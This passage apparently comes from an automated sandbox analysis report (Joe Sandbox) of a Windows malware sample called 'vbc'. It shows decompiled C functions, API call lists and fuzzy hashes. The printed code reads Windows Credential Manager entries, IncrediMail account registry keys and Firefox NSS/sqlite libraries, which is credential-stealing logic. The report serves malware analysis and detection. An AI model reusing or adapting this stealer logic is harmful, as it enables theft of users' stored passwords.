						_v1172 = wcslen( &_v1080);
						_v1176 = 1;
						_v1188 = 0;
						if(_v1180 > 0) {
							while(_v1176 != 0) {
								_t134 =  *((intOrPtr*)(_v1184 + _v1188 * 4));
								_t83 = wcsncmp( *(_t134 + 8),  &_v1080, _v1172);
								_t143 = _t143 + 0xc;
								if(_t83 == 0) {
									do {
										_t25 = L"abe2869f-9b47-4cd9-a358-c22904dba7f7" + _t83; // 0x620061
										 *(_t83 + 0x417968) =  *_t25 << 2;
										_t83 = _t83 + 2;
										_t152 = _t83 - 0x4a;
									} while (_t83 < 0x4a);
									_v1148 =  *((intOrPtr*)(_t134 + 0x1c));
									_t139 =  &_v532;
									_v1160 = 0x4a;
									_v1156 = 0x417968;
									_v1152 =  *((intOrPtr*)(_t134 + 0x18));
									E004046D7( &_v532);
									if(E004047A0( &_v532, _t152) != 0 && E00404811(_t139,  &_v1152,  &_v1160,  &_v1168) != 0) {
										_v1044 = 0;
										memset( &_v1042, 0, 0x1fe);
										_t126 = _v1168;
										_t144 = _t143 + 0xc;
										if(_t126 > 0x1fa) {
											_t126 = 0x1fa;
										}
										memcpy( &_v1044, _v1164, _t126);
										_v1120 =  *((intOrPtr*)(_t134 + 0x20));
										_v1124 =  *((intOrPtr*)(_t134 + 4));
										_v1116 =  *((intOrPtr*)(_t134 + 0x10));
										_v1112 =  *((intOrPtr*)(_t134 + 0x14));
										_v1128 =  *((intOrPtr*)(_t134 + 0x2c));
										_v1144 =  *(_t134 + 8);
										_v1132 =  *((intOrPtr*)(_t134 + 0xc));
										_t109 =  &_v1044;
										_v534 = 0;
										_v1140 = _t109;
										_v1136 = 0x4125f4;
										_t110 = wcschr(_t109, 0x3a);
										_t143 = _t144 + 0x14;
										if(_t110 != 0) {
											 *_t110 = 0;
											_v1136 =  &(_t110[0]);
										}
										_v1180 =  *((intOrPtr*)( *_a4))( &_v1144);
										LocalFree(_v1168);
									}
									E004047F1( &_v532);
								}
								_v1188 = _v1188 + 1;
								if(_v1188 < _v1180) {
									continue;
								}
								goto L18;
							}
						}
						L18:
						_v1096(_v1184);
					}
				}
				return E004046C2( &_v1108);
			}















































                                                                                                              0x00407661
                                                                                                              0x0040766b
                                                                                                              0x00407670
                                                                                                              0x00407674
                                                                                                              0x0040767f
                                                                                                              0x00407689
                                                                                                              0x0040768d
                                                                                                              0x00407691
                                                                                                              0x004076a8
                                                                                                              0x004076a8
                                                                                                              0x00407693
                                                                                                              0x0040769f
                                                                                                              0x0040769f
                                                                                                              0x004076ac
                                                                                                              0x004076b4
                                                                                                              0x004076c3
                                                                                                              0x004076c3
                                                                                                              0x004076cf
                                                                                                              0x004076d3
                                                                                                              0x004076db
                                                                                                              0x004076df
                                                                                                              0x004076e5
                                                                                                              0x004076f7
                                                                                                              0x00407709
                                                                                                              0x0040770e
                                                                                                              0x00407713
                                                                                                              0x00407719
                                                                                                              0x00407719
                                                                                                              0x00407724
                                                                                                              0x0040772c
                                                                                                              0x0040772d
                                                                                                              0x0040772d
                                                                                                              0x00407735
                                                                                                              0x0040773c
                                                                                                              0x00407743
                                                                                                              0x0040774b
                                                                                                              0x00407753
                                                                                                              0x00407757
                                                                                                              0x00407763
                                                                                                              0x00407795
                                                                                                              0x0040779d
                                                                                                              0x004077a2
                                                                                                              0x004077ab
                                                                                                              0x004077b0
                                                                                                              0x004077b2
                                                                                                              0x004077b2
                                                                                                              0x004077c1
                                                                                                              0x004077c9
                                                                                                              0x004077d0
                                                                                                              0x004077d7
                                                                                                              0x004077de
                                                                                                              0x004077e5
                                                                                                              0x004077ec
                                                                                                              0x004077f3
                                                                                                              0x004077f7
                                                                                                              0x00407801
                                                                                                              0x00407809
                                                                                                              0x0040780d
                                                                                                              0x00407815
                                                                                                              0x0040781a
                                                                                                              0x0040781f
                                                                                                              0x00407821
                                                                                                              0x00407827
                                                                                                              0x00407827
                                                                                                              0x0040783b
                                                                                                              0x0040783f
                                                                                                              0x0040783f
                                                                                                              0x0040784c
                                                                                                              0x0040784c
                                                                                                              0x00407851
                                                                                                              0x0040785d
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040785d
                                                                                                              0x004076e5
                                                                                                              0x00407863
                                                                                                              0x00407867
                                                                                                              0x00407867
                                                                                                              0x004076ac
                                                                                                              0x0040787a

                                                                                                              APIs
                                                                                                                • Part of subcall function 00404647: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404654
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(00000000,CredReadA,00000000), ref: 0040466D
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredFree), ref: 00404679
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00404685
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00404691
                                                                                                                • Part of subcall function 00404647: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 0040469D
                                                                                                              • wcslen.MSVCRT ref: 004076C5
                                                                                                              • wcsncmp.MSVCRT(?,?,?), ref: 00407709
                                                                                                              • memset.MSVCRT ref: 0040779D
                                                                                                              • memcpy.MSVCRT ref: 004077C1
                                                                                                              • wcschr.MSVCRT ref: 00407815
                                                                                                              • LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040783F
                                                                                                                • Part of subcall function 004047F1: FreeLibrary.KERNELBASE(?,?), ref: 00404806
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$FreeLibrary$LoadLocalmemcpymemsetwcschrwcslenwcsncmp
                                                                                                              • String ID: J$Microsoft_WinInet$hyA
                                                                                                              • API String ID: 2413121283-319027496
                                                                                                              • Opcode ID: 3dbe31861b291603ba55481dc935e5bf9676d9bb6e305c4de7996f9a1c48bd4b
                                                                                                              • Instruction ID: ab6451454baefbc6762688e22d5ebab6c31fbbbf8d38218599acfc9a6d4ef790
                                                                                                              • Opcode Fuzzy Hash: 3dbe31861b291603ba55481dc935e5bf9676d9bb6e305c4de7996f9a1c48bd4b
                                                                                                              • Instruction Fuzzy Hash: 2751E4B1908345AFC710EF65C88495AB7E8FF89304F00492EFA99D3250E778E955CB57
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402FC2 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 106registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00402FC2(void* __eax, void* __ecx, void* __fp0, void* _a4) {
				void* _v8;
				int _v12;
				int _v16;
				void _v271;
				char _v272;
				void _v527;
				char _v528;
				void _v827;
				char _v828;
				void* __edi;
				void* __esi;
				long _t40;
				void* _t44;
				void* _t55;
				void* _t60;
				void* _t66;
				void* _t67;
				void* _t71;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t77;

				_t77 = __fp0;
				_t66 = __ecx;
				_t67 = __eax;
				_t40 = E0040EB3F(_a4, "Software\\IncrediMail\\Identities",  &_a4);
				_t72 = _t71 + 0xc;
				if(_t40 == 0) {
					_v12 = 0;
					_v272 = 0;
					memset( &_v271, 0, 0xff);
					_t44 = E0040EC05(_a4, 0,  &_v272);
					_t73 = _t72 + 0x18;
					while(_t44 == 0) {
						E0040EBC1(_t66, _a4,  &_v272, "Identity", _t67 + 0xa9c, 0x7f);
						_v828 = 0;
						memset( &_v827, 0, 0x12b);
						sprintf( &_v828, "%s\\Accounts",  &_v272);
						_t55 = E0040EB3F(_a4,  &_v828,  &_v8);
						_t74 = _t73 + 0x38;
						if(_t55 == 0) {
							_v16 = 0;
							_v528 = 0;
							memset( &_v527, 0, 0xff);
							_t60 = E0040EC05(_v8, 0,  &_v528);
							_t74 = _t74 + 0x18;
							while(_t60 == 0) {
								E00402D9A(_t66, _t67, 0xff, _t77, _v8,  &_v528);
								_v16 = _v16 + 1;
								_t60 = E0040EC05(_v8, _v16,  &_v528);
								_t74 = _t74 + 0xc;
							}
							RegCloseKey(_v8);
						}
						_v12 = _v12 + 1;
						_t44 = E0040EC05(_a4, _v12,  &_v272);
						_t73 = _t74 + 0xc;
					}
					_t40 = RegCloseKey(_a4);
				}
				 *((char*)(_t67 + 0xa9c)) = 0;
				return _t40;
			}

























                                                                                                              0x00402fc2
                                                                                                              0x00402fc2
                                                                                                              0x00402fcd
                                                                                                              0x00402fdb
                                                                                                              0x00402fe0
                                                                                                              0x00402fe7
                                                                                                              0x00402ffc
                                                                                                              0x00402fff
                                                                                                              0x00403005
                                                                                                              0x00403015
                                                                                                              0x0040301a
                                                                                                              0x00403101
                                                                                                              0x0040303a
                                                                                                              0x0040304c
                                                                                                              0x00403052
                                                                                                              0x0040306a
                                                                                                              0x0040307d
                                                                                                              0x00403082
                                                                                                              0x00403087
                                                                                                              0x00403092
                                                                                                              0x00403095
                                                                                                              0x0040309b
                                                                                                              0x004030ab
                                                                                                              0x004030b0
                                                                                                              0x004030dc
                                                                                                              0x004030bf
                                                                                                              0x004030c4
                                                                                                              0x004030d4
                                                                                                              0x004030d9
                                                                                                              0x004030d9
                                                                                                              0x004030e3
                                                                                                              0x004030e3
                                                                                                              0x004030e9
                                                                                                              0x004030f9
                                                                                                              0x004030fe
                                                                                                              0x004030fe
                                                                                                              0x0040310c
                                                                                                              0x00403112
                                                                                                              0x00403113
                                                                                                              0x0040311c

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                              • memset.MSVCRT ref: 00403005
                                                                                                                • Part of subcall function 0040EC05: RegEnumKeyExA.KERNEL32 ref: 0040EC28
                                                                                                              • memset.MSVCRT ref: 00403052
                                                                                                              • sprintf.MSVCRT ref: 0040306A
                                                                                                              • memset.MSVCRT ref: 0040309B
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 004030E3
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040310C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$Close$EnumOpensprintf
                                                                                                              • String ID: %s\Accounts$Identity$Software\IncrediMail\Identities
                                                                                                              • API String ID: 3672803090-3168940695
                                                                                                              • Opcode ID: 22eff2947c792e2ee98147eb4edca5235480deef74a1ce103f764c8193b49378
                                                                                                              • Instruction ID: 2ec2bfd25db4f87ede08292043277b4916c0dadc31aa5cf960337fea200e46ca
                                                                                                              • Opcode Fuzzy Hash: 22eff2947c792e2ee98147eb4edca5235480deef74a1ce103f764c8193b49378
                                                                                                              • Instruction Fuzzy Hash: D6314EB290021CBADB11EB95CC81EEEBB7CAF14344F0041B6B909A1051E7799F948F64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407A64 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowstringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 48%
                                                                                                              			E00407A64(void* __ecx, void* __eflags, int _a4, struct tagMENUITEMINFOA _a8, intOrPtr _a12, int _a24, intOrPtr _a28, char* _a44, int _a48, char _a56, void _a57, char _a4160, void _a4161) {
				char* _v0;
				int _v4;
				int _t39;
				char* _t49;
				void* _t51;
				int _t64;
				signed int _t70;
				signed int _t71;

				_t59 = __ecx;
				_t71 = _t70 & 0xfffffff8;
				E004118A0(0x204c, __ecx);
				_t39 = GetMenuItemCount(_a8.cbSize);
				_a4 = _t39;
				_v4 = 0;
				if(_t39 <= 0) {
					L15:
					return _t39;
				} else {
					do {
						memset( &_a57, 0, 0x1000);
						_t71 = _t71 + 0xc;
						_a44 =  &_a56;
						_a8.cbSize = 0x30;
						_a12 = 0x36;
						_a48 = 0x1000;
						_a56 = 0;
						if(GetMenuItemInfoA(_a8.cbSize, _v4, 1,  &_a8) == 0) {
							goto L14;
						}
						if(_a56 == 0) {
							L12:
							_t80 = _a28;
							if(_a28 != 0) {
								_push(0);
								_push(_a28);
								_push(_a4);
								E00407A64(_t59, _t80);
								_t71 = _t71 + 0xc;
							}
							goto L14;
						}
						_t64 = _a24;
						_a4160 = 0;
						memset( &_a4161, 0, 0x1000);
						_t49 = strchr( &_a56, 9);
						_t71 = _t71 + 0x14;
						_v0 = _t49;
						if(_a28 != 0) {
							if(_a12 == 0) {
								 *0x4171b4 =  *0x4171b4 + 1;
								_t64 =  *0x4171b4 + 0x11558;
								__eflags = _t64;
							} else {
								_t64 = _v4 + 0x11171;
							}
						}
						_t51 = E00407D89(_t64,  &_a4160);
						_pop(_t59);
						if(_t51 != 0) {
							if(_v0 != 0) {
								strcat( &_a4160, _v0);
								_pop(_t59);
							}
							ModifyMenuA(_a8, _v4, 0x400, _t64,  &_a4160);
						}
						goto L12;
						L14:
						_v4 = _v4 + 1;
						_t39 = _v4;
					} while (_t39 < _a4);
					goto L15;
				}
			}











                                                                                                              0x00407a64
                                                                                                              0x00407a67
                                                                                                              0x00407a6f
                                                                                                              0x00407a7a
                                                                                                              0x00407a84
                                                                                                              0x00407a88
                                                                                                              0x00407a8c
                                                                                                              0x00407bb2
                                                                                                              0x00407bb8
                                                                                                              0x00407a92
                                                                                                              0x00407a97
                                                                                                              0x00407a9e
                                                                                                              0x00407aa3
                                                                                                              0x00407aaa
                                                                                                              0x00407ab9
                                                                                                              0x00407ac4
                                                                                                              0x00407acc
                                                                                                              0x00407ad0
                                                                                                              0x00407adc
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00407ae6
                                                                                                              0x00407b8a
                                                                                                              0x00407b8a
                                                                                                              0x00407b8e
                                                                                                              0x00407b90
                                                                                                              0x00407b91
                                                                                                              0x00407b95
                                                                                                              0x00407b98
                                                                                                              0x00407b9d
                                                                                                              0x00407b9d
                                                                                                              0x00000000
                                                                                                              0x00407b8e
                                                                                                              0x00407aec
                                                                                                              0x00407afa
                                                                                                              0x00407b01
                                                                                                              0x00407b0d
                                                                                                              0x00407b12
                                                                                                              0x00407b19
                                                                                                              0x00407b1d
                                                                                                              0x00407b22
                                                                                                              0x00407b30
                                                                                                              0x00407b3c
                                                                                                              0x00407b3c
                                                                                                              0x00407b24
                                                                                                              0x00407b28
                                                                                                              0x00407b28
                                                                                                              0x00407b22
                                                                                                              0x00407b4b
                                                                                                              0x00407b53
                                                                                                              0x00407b54
                                                                                                              0x00407b5a
                                                                                                              0x00407b68
                                                                                                              0x00407b6e
                                                                                                              0x00407b6e
                                                                                                              0x00407b84
                                                                                                              0x00407b84
                                                                                                              0x00000000
                                                                                                              0x00407ba0
                                                                                                              0x00407ba0
                                                                                                              0x00407ba4
                                                                                                              0x00407ba8
                                                                                                              0x00000000
                                                                                                              0x00407a97

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Menu$Itemmemset$CountInfoModifystrcatstrchr
                                                                                                              • String ID: 0$6
                                                                                                              • API String ID: 1757351179-3849865405
                                                                                                              • Opcode ID: 0312b36b69dc19ec32793f3e1a4e0bacee62623ae2581f679c82ae12aac676fd
                                                                                                              • Instruction ID: 1677788af10e21d8d50b2ad3b046da146c202dfcbfc60db105475917acddfa9f
                                                                                                              • Opcode Fuzzy Hash: 0312b36b69dc19ec32793f3e1a4e0bacee62623ae2581f679c82ae12aac676fd
                                                                                                              • Instruction Fuzzy Hash: 1A316D71808385AFD7109F55D84099BBBF9EB84358F14883FFA9492250D378EA44CF6B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E988 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 64COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • UuidFromStringA.RPCRT4(220D5CD0-853A-11D0-84BC-00C04FD43F8F,00000001), ref: 0040E9A5
                                                                                                              • UuidFromStringA.RPCRT4(220D5CC1-853A-11D0-84BC-00C04FD43F8F,00000001), ref: 0040E9B9
                                                                                                              • UuidFromStringA.RPCRT4(417E2D75-84BD-11D0-84BB-00C04FD43F8F,?), ref: 0040E9C6
                                                                                                              • memcpy.MSVCRT ref: 0040EA04
                                                                                                              • CoTaskMemFree.OLE32(00000000), ref: 0040EA13
                                                                                                              Strings
                                                                                                              • 220D5CD1-853A-11D0-84BC-00C04FD43F8F, xrefs: 0040E9AD
                                                                                                              • 417E2D75-84BD-11D0-84BB-00C04FD43F8F, xrefs: 0040E9C1
                                                                                                              • 220D5CC1-853A-11D0-84BC-00C04FD43F8F, xrefs: 0040E9B4
                                                                                                              • 220D5CD0-853A-11D0-84BC-00C04FD43F8F, xrefs: 0040E9A0
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FromStringUuid$FreeTaskmemcpy
                                                                                                              • String ID: 220D5CC1-853A-11D0-84BC-00C04FD43F8F$220D5CD0-853A-11D0-84BC-00C04FD43F8F$220D5CD1-853A-11D0-84BC-00C04FD43F8F$417E2D75-84BD-11D0-84BB-00C04FD43F8F
                                                                                                              • API String ID: 1640410171-2022683286
                                                                                                              • Opcode ID: dcff6afb71b229d52fa461edb4925b562afed50f1ddca2f8dc7b1e1081071576
                                                                                                              • Instruction ID: a0dda8305716182b94471eb279f6daf9a8f1529c8f3e89cbb35285eb134eabf6
                                                                                                              • Opcode Fuzzy Hash: dcff6afb71b229d52fa461edb4925b562afed50f1ddca2f8dc7b1e1081071576
                                                                                                              • Instruction Fuzzy Hash: 3811607251412DAACB11EEA5DD40EEB37ECAB48354F044837FD12F3241F674E9248BA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004081B5 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 42stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 88%
                                                                                                              			E004081B5(void* __eflags, char* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E0040614B(_a4);
				if(_t3 != 0) {
					strcpy(0x4171b8, _a4);
					strcpy(0x4172c0, "general");
					_t6 = GetPrivateProfileIntA(0x4172c0, "rtl", 0, 0x4171b8);
					asm("sbb eax, eax");
					 *0x417304 =  ~(_t6 - 1) + 1;
					E00407DC1(0x417308, "charset", 0x3f);
					E00407DC1(0x417348, "TranslatorName", 0x3f);
					return E00407DC1(0x417388, "TranslatorURL", 0xff);
				}
				return _t3;
			}






                                                                                                              0x004081b9
                                                                                                              0x004081c1
                                                                                                              0x004081cf
                                                                                                              0x004081df
                                                                                                              0x004081f0
                                                                                                              0x004081f9
                                                                                                              0x00408208
                                                                                                              0x0040820d
                                                                                                              0x0040821e
                                                                                                              0x00000000
                                                                                                              0x0040823b
                                                                                                              0x0040823c

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040614B: GetFileAttributesA.KERNELBASE(?,004081BE,?,00408274,00000000,?,00000000,00000104,?), ref: 0040614F
                                                                                                              • strcpy.MSVCRT(004171B8,00000000,00000000,00000000,00408274,00000000,?,00000000,00000104,?), ref: 004081CF
                                                                                                              • strcpy.MSVCRT(004172C0,general,004171B8,00000000,00000000,00000000,00408274,00000000,?,00000000,00000104,?), ref: 004081DF
                                                                                                              • GetPrivateProfileIntA.KERNEL32(004172C0,rtl,00000000,004171B8), ref: 004081F0
                                                                                                                • Part of subcall function 00407DC1: GetPrivateProfileStringA.KERNEL32(004172C0,?,00412466,00417308,?,004171B8), ref: 00407DDC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfilestrcpy$AttributesFileString
                                                                                                              • String ID: HsA$TranslatorName$TranslatorURL$charset$general$rtl
                                                                                                              • API String ID: 185930432-2094606381
                                                                                                              • Opcode ID: 61c3254355be24366bef669af6bb7bd6cca1bcece2790ae3e2dc5a409b7b51f7
                                                                                                              • Instruction ID: cb939eedfd3a0989361dc9c28bcf1dbf68e7932df9513b818d47ffc3c6ffa7d5
                                                                                                              • Opcode Fuzzy Hash: 61c3254355be24366bef669af6bb7bd6cca1bcece2790ae3e2dc5a409b7b51f7
                                                                                                              • Instruction Fuzzy Hash: 07F0F631ED821532DB113A622C03FEA39248FA2B16F04407FBC04B72C3DA7C4A81929E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040DEA9 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 32COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040DEA9() {
				int _t3;
				struct HINSTANCE__* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__* _t9;

				_t6 = GetModuleHandleA("nss3.dll");
				_t5 = GetModuleHandleA("sqlite3.dll");
				_t3 = GetModuleHandleA("mozsqlite3.dll");
				_t9 = _t3;
				if(_t6 != 0) {
					_t3 = FreeLibrary(_t6);
				}
				if(_t5 != 0) {
					_t3 = FreeLibrary(_t5);
				}
				if(_t9 != 0) {
					return FreeLibrary(_t9);
				}
				return _t3;
			}







                                                                                                              0x0040debf
                                                                                                              0x0040dec8
                                                                                                              0x0040deca
                                                                                                              0x0040ded4
                                                                                                              0x0040ded6
                                                                                                              0x0040ded9
                                                                                                              0x0040ded9
                                                                                                              0x0040dedd
                                                                                                              0x0040dee0
                                                                                                              0x0040dee0
                                                                                                              0x0040dee4
                                                                                                              0x00000000
                                                                                                              0x0040dee7
                                                                                                              0x0040deed

                                                                                                              APIs
                                                                                                              • GetModuleHandleA.KERNEL32(nss3.dll,74EC48B3,?,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DEB8
                                                                                                              • GetModuleHandleA.KERNEL32(sqlite3.dll,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DEC1
                                                                                                              • GetModuleHandleA.KERNEL32(mozsqlite3.dll,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DECA
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DED9
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DEE0
                                                                                                              • FreeLibrary.KERNEL32(00000000,?,00000104,0040DFDC,?,?,?,?,?,?,?,00000000), ref: 0040DEE7
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FreeHandleLibraryModule
                                                                                                              • String ID: mozsqlite3.dll$nss3.dll$sqlite3.dll
                                                                                                              • API String ID: 662261464-3550686275
                                                                                                              • Opcode ID: 86c3fc2903f606d4177665fb0a5e8ba99052a5cd3e374b4e3edda1da98f7fed5
                                                                                                              • Instruction ID: d16a25c46baa9326af0e84a0bffbb5276bbaca378281f61e1b061e0aef5cb77a
                                                                                                              • Opcode Fuzzy Hash: 86c3fc2903f606d4177665fb0a5e8ba99052a5cd3e374b4e3edda1da98f7fed5
                                                                                                              • Instruction Fuzzy Hash: 72E0DF62F4132D67892066F19E84DABBE5CC895AE13150033AA00F3240DDE89C058AF8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E172 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 81stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 86%
                                                                                                              			E0040E172(char* __edi, char* __esi) {
				void _v267;
				char _v268;
				char* _t15;
				void* _t38;
				char* _t48;

				_t49 = __esi;
				_t48 = __edi;
				if(__esi[1] != 0x3a) {
					_t15 = strchr( &(__esi[2]), 0x3a);
					if(_t15 == 0) {
						_t38 = E004069D2(0, "\\systemroot");
						if(_t38 < 0) {
							if( *__esi != 0x5c) {
								strcpy(__edi, __esi);
							} else {
								_v268 = 0;
								memset( &_v267, 0, 0x104);
								E00406325( &_v268);
								memcpy(__edi,  &_v268, 2);
								__edi[2] = 0;
								strcat(__edi, __esi);
							}
						} else {
							_v268 = 0;
							memset( &_v267, 0, 0x104);
							E00406325( &_v268);
							strcpy(__edi,  &_v268);
							_t8 =  &(_t49[0xb]); // 0xb
							strcat(__edi, _t38 + _t8);
						}
						L11:
						return _t48;
					}
					_push(_t15 - 1);
					L4:
					strcpy(_t48, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}








                                                                                                              0x0040e172
                                                                                                              0x0040e172
                                                                                                              0x0040e17f
                                                                                                              0x0040e18a
                                                                                                              0x0040e193
                                                                                                              0x0040e1b3
                                                                                                              0x0040e1b8
                                                                                                              0x0040e200
                                                                                                              0x0040e249
                                                                                                              0x0040e202
                                                                                                              0x0040e210
                                                                                                              0x0040e217
                                                                                                              0x0040e223
                                                                                                              0x0040e232
                                                                                                              0x0040e239
                                                                                                              0x0040e23d
                                                                                                              0x0040e242
                                                                                                              0x0040e1ba
                                                                                                              0x0040e1c8
                                                                                                              0x0040e1cf
                                                                                                              0x0040e1db
                                                                                                              0x0040e1e8
                                                                                                              0x0040e1ed
                                                                                                              0x0040e1f3
                                                                                                              0x0040e1f8
                                                                                                              0x0040e251
                                                                                                              0x0040e254
                                                                                                              0x0040e254
                                                                                                              0x0040e196
                                                                                                              0x0040e197
                                                                                                              0x0040e198
                                                                                                              0x00000000
                                                                                                              0x0040e19e
                                                                                                              0x0040e181
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • strchr.MSVCRT ref: 0040E18A
                                                                                                              • strcpy.MSVCRT(?,-00000001), ref: 0040E198
                                                                                                                • Part of subcall function 004069D2: strlen.MSVCRT ref: 004069E4
                                                                                                                • Part of subcall function 004069D2: strlen.MSVCRT ref: 004069EC
                                                                                                                • Part of subcall function 004069D2: _memicmp.MSVCRT ref: 00406A0A
                                                                                                              • strcpy.MSVCRT(?,00000000,00000000,?,00000000,00000104,00000104), ref: 0040E1E8
                                                                                                              • strcat.MSVCRT(?,0000000B,?,00000000,00000000,?,00000000,00000104,00000104), ref: 0040E1F3
                                                                                                              • memset.MSVCRT ref: 0040E1CF
                                                                                                                • Part of subcall function 00406325: GetWindowsDirectoryA.KERNEL32(00417550,00000104,?,0040E228,00000000,?,00000000,00000104,00000104), ref: 0040633A
                                                                                                                • Part of subcall function 00406325: strcpy.MSVCRT(00000000,00417550,?,0040E228,00000000,?,00000000,00000104,00000104), ref: 0040634A
                                                                                                              • memset.MSVCRT ref: 0040E217
                                                                                                              • memcpy.MSVCRT ref: 0040E232
                                                                                                              • strcat.MSVCRT(?,?,?,00000000,00000002,00000000,?,00000000,00000104,00000104), ref: 0040E23D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$memsetstrcatstrlen$DirectoryWindows_memicmpmemcpystrchr
                                                                                                              • String ID: \systemroot
                                                                                                              • API String ID: 1680921474-1821301763
                                                                                                              • Opcode ID: 5187f8535ecd07f80173756fca004a5de43faed2157158ac4ad04829d081b859
